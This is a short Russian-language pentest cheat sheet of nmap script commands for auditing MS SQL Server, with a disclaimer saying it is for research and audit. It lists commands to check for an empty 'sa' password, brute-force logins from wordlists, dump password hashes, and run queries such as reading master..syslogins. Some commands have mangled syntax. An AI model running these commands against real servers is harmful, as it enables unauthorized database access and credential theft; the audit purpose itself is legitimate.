Информация о сервере SQL и пустой пароль с именем пользователя = sa check & ms-sql-dac test:
sudo nmap -d -p 1433 –script ms-sql-info,ms-sql-empty-password 192.168.0.100 sudo nmap -sU -p 1434 –script ms-sql-dac 192.168.0.100
Брутфорс пользователей и паролей или проверки успеха входа в систему:
sudo nmap -p 1433 –script ms-sql-brute –script-args userdb=”/home/user/customuser.txt”,passdb=”/home/user/passsql.txt” 192.168.0.100
Информация о сервере + брутфорс
sudo nmap -p 1433 -script ms-sql-info, ms-sql-brute -script-args ms-sql-brute.ignore-lockout, userdb = "/ home / user / customuser.txt", passdb = "/ home /user/passsql.txt "192.168.0.11
Посмотреть файл конфигурации и базы данных, чтобы сбросить пароли пользователей и хешей, чтобы отобразить базы данных и список их владельцев:
sudo nmap -p 1433 <ip> –script ms-sql-dump-hashes sudo nmap -p 1433 –script ms-sql-dump-hashes,ms-sql-hasdbaccess,ms-sql-config –script-args mssql.username=UNAME,mssql.password=UPWD 192.168.0.100 sudo nmap -p 1433 –script ms-sql-dump-hashes,ms-sql-hasdbaccess,ms-sql-config –script-args mssql.username=UNAME,mssql.password=UPWD,ms-sql-config.showall 192.168.0.100
Выполнение пользовательских запросов:
sudo nmap -p 1433 –script ms-sql-query –script-args mssql.username=UNAME,mssql.password=UPWD,ms-sql-query.query=”SELECT @@version version” 192.168.220.123 sudo nmap -p 1433 –script ms-sql-query –script-args mssql.username=UNAME,mssql.password=UPWD,mssql.database=tempdb,ms-sql-query.query=”SELECT * FROM master..syslogins” 192.168.220.123
Список таблиц:
sudo nmap -p 1433 –script ms-sql-tables –script-args ms-sql-tables.maxdb=0,ms-sql-tables.maxtables=0,mssql.username=UNAME,mssql.password=UPWD 192.168.220.123
Поиск SQL-сервера в широковещательной сети:
nmap –script broadcast-ms-sql-discover,ms-sql-info –script-args=newtargets nmap –script broadcast-ms-sql-discover
¯_(ツ)_/¯
Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.
2018-07-16T14:16:18
Аудит ИБ